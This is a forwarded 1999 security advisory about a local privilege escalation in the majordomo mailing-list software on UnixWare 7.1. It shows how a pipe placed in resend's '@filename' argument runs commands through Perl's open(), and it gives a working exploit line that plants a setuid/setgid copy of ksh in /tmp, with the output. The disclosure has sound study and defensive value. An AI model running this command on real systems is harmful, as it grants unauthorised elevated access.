---------- Forwarded message ----------
Date: 28 Dec 99 20:47:44 CST
From: Brock Tellier <btellier@usa.net>
Subject: majordomo local exploit

OVERVIEW
A vulnerability in majordomo allows local users to gain elevated
privileges.

BACKGROUND
I've only tested the version of majordomo which comes with UnixWare 
7.1 which is 1.94.4.  This vulnerability may or not still be present 
in newer versions of majordomo, but it exists on the default UW7.1
installation.

Thanks to rain.forest.puppy for his paper on how to exploit CGI/perl
scripts, as it helped me out in this exploit.  Grab it at
http://www.wiretrip.net/rfp/p/doc.asp?id=6&iface=2

DETAILS
The majordomo wrapper allows users to run programs in the
/usr/local/majordomo directory with the uid of owner and the gid of
daemon.  The permissions for wrapper are:

-rwsr-xr-x    1 root     daemon         6464 Jan  4  1999
/usr/local/majordomo/wrapper

but wrapper immediatly setuid()'s and setgid()'s to owner:daemon before
execing the wrapped program.

A vulnerability in "/usr/local/majordomo/resend" will allow us to execute
arbitrary commands with our elevated privileges.  The following code
snippet appears in resend, a perl script:

-snip-

# If the first argument is "@filename", read the real arguments
# from "filename", and shove them onto the ARGV for later processing
# by &Getopts()
#
if ($ARGV[0] =~ /^\@/) {
    $fn = shift(@ARGV);
    $fn =~ s/^@//;
    open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");

-snip-

As you can see, if our first argument to resend starts with a "@", 
resend will attempt to open() the filename.  However, open() can 
also be used to run programs if the first argument to open() begins 
with a pipe "|".  If our first argument is "@|id", resend will run 
the program "id" with full privileges.

EXPLOIT

Our exploit is simple:

bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.

bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x    1 owner    daemon       361688 Dec 29 06:26 /tmp/xnec

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier@usa.net


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1